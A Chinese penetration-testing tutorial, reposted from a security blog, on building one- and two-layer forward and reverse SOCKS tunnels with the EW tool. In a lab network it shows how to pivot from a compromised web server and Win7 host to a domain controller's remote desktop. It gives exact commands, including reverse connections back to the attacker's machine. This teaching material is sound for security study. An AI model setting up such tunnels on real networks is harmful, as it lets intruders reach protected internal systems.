多级代理隧道建立

admin 2024年4月8日11:55:13评论22 views字数 1993阅读6分38秒阅读模式

想第一时间看到我们的大图推送吗?赶紧把我们设为星标吧!这样您就不会错过任何精彩内容啦!感谢您的支持!🌟

免责声明

      文章所涉及内容,仅供安全研究教学使用,由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。

前言

      在进行多层网段渗透时,我们通常会遇到各种代理隧道问题,仅端口转发无法完成,这个时候就可以利用socks协议建立隧道进行连接。在主机上配置SOCKS协议代理服务,访问网站时SOCKS充当了中间人的角色,分别与双方(B/S)进行通信,然后将获得的结果通知对方,攻击者可以通过SOCKS客户端连接SOCKS服务,进而实现跳板攻击。

这里使用的是ew工具来实现多级代理隧道穿透

ew的参数:
ssocksd 正向代理
rcsocks 反向代理客户端
rssocks 反向代理服务端
lcx_slave 一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机
lcx_tran 通过监听本地端口接收代理请求,并转发给代理提供主机
lcx_listen 通过监听本地端口接收数据,并将其转交给目标网络会连的代理提供主机
实验环境:
kali:192.168.1.28
web服务器:192.168.1.5
                 192.168.8.9
win7:192.168.8.22
        192.168.10.3
windows server2016:192.168.10.1

搭建一层正向代理

假设我们拿下了web服务器的webshell权限后,无法访问到外网,这个时候就可以用ew做一个正向代理,在web服务器使用ew的ssocksd做一个正向代理。

1.在web服务器上执行以下命令:

ew_for_Win.exe -s ssocksd -l 8888

其中-s ssocksd为做一个正向代理,-l为指定本地监听端口。

多级代理隧道建立

2.修改kali的vim /etc/proxychains4.conf    

多级代理隧道建立

3.尝试连接win7(192.168.8.22)的远程桌面

多级代理隧道建立

一层反向代理

当web服务器可以访问外部网络的情况下,就可以利用ew工具使用反向代理进行socks隧道穿透

1.在web服务器执行以下命令:
ew_for_Win.exe -s rssocks -d 192.168.1.28 -e 1080
其中-s rssocks就是连接反向代服务器,-d攻击机ip地址,-e指向攻击机端口1080端口 
多级代理隧道建立
2.在攻击机上使用ew开启服务端监听,执行以下命令:
./ew_for_linux64 -s rcsocks -e 1080 -d 8888
-s rcsocks使用反向代理,-e监听本地的1080端口,-d将1080端口的流量映射到8888端口
多级代理隧道建立
3.修改kali的vim /etc/proxychains4.conf
多级代理隧道建立
4.尝试连接win7(192.168.8.22)的远程桌面
多级代理隧道建立

二层正向代理

假设这个时候我们获取到了win7的权限后,探测windows server 2016开启了3389 端口,这个时候我们就可以使用二层代理连接windows server 2016域控的远程桌面服务,因为域控只和win7(1)通信,所以得在win7和web服务器之间搭建隧道,再在web服务器和kali之间搭建隧道,进行访问

1.我们获取到了win7权限后我们在win7上传EW工具后执行以下命令:

ew_for_Win.exe -s ssocksd -l 8888

多级代理隧道建立

2.在web服务器上使用ew工具执行以下命令:

ew_for_Win.exe -s lcx_tran -l 7777 -f 192.168.8.22 -g 8888

使用web服务器的8888端口连接win7上的7777端口,在他们之间建立一条隧道,-f指定win7的ip地址,-g指定win7的监听端口,-l为本机监听端口

多级代理隧道建立

3.修改kali的vim /etc/proxychains4.conf

多级代理隧道建立

4.尝试连接域控(192.168.10.1)的远程桌面

多级代理隧道建立

二层反向代理

当win7可以出网,便可以搭建反向代理进行隧道穿透

1.在win7上执行以下命令:
ew_for_Win.exe -s ssocksd -l 8888
多级代理隧道建立
监听8888端口
2.在kali上执行命令
./ew_for_linux64 -s lcx_listen -l 8888 -e 7777
将kali上的7777端口的流量转发到8888端口上 
多级代理隧道建立
3.在web服务器上执行以下命令:
ew_for_Win.exe -s lcx_slave -d 192.168.1.28  -e  7777 -f 192.168.8.22 -g 8888
将win7的8888端口转发到 kali的7777端口上
多级代理隧道建立
多级代理隧道建立
隧道建立成功
4.修改kali的vim /etc/proxychains4.conf
多级代理隧道建立
5.尝试连接域控(192.168.10.1)的远程桌面

多级代理隧道建立

原文始发于微信公众号(泾弦安全):多级代理隧道建立

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月8日11:55:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   多级代理隧道建立http://cn-sec.com/archives/2635564.html

发表评论

匿名网友 填写信息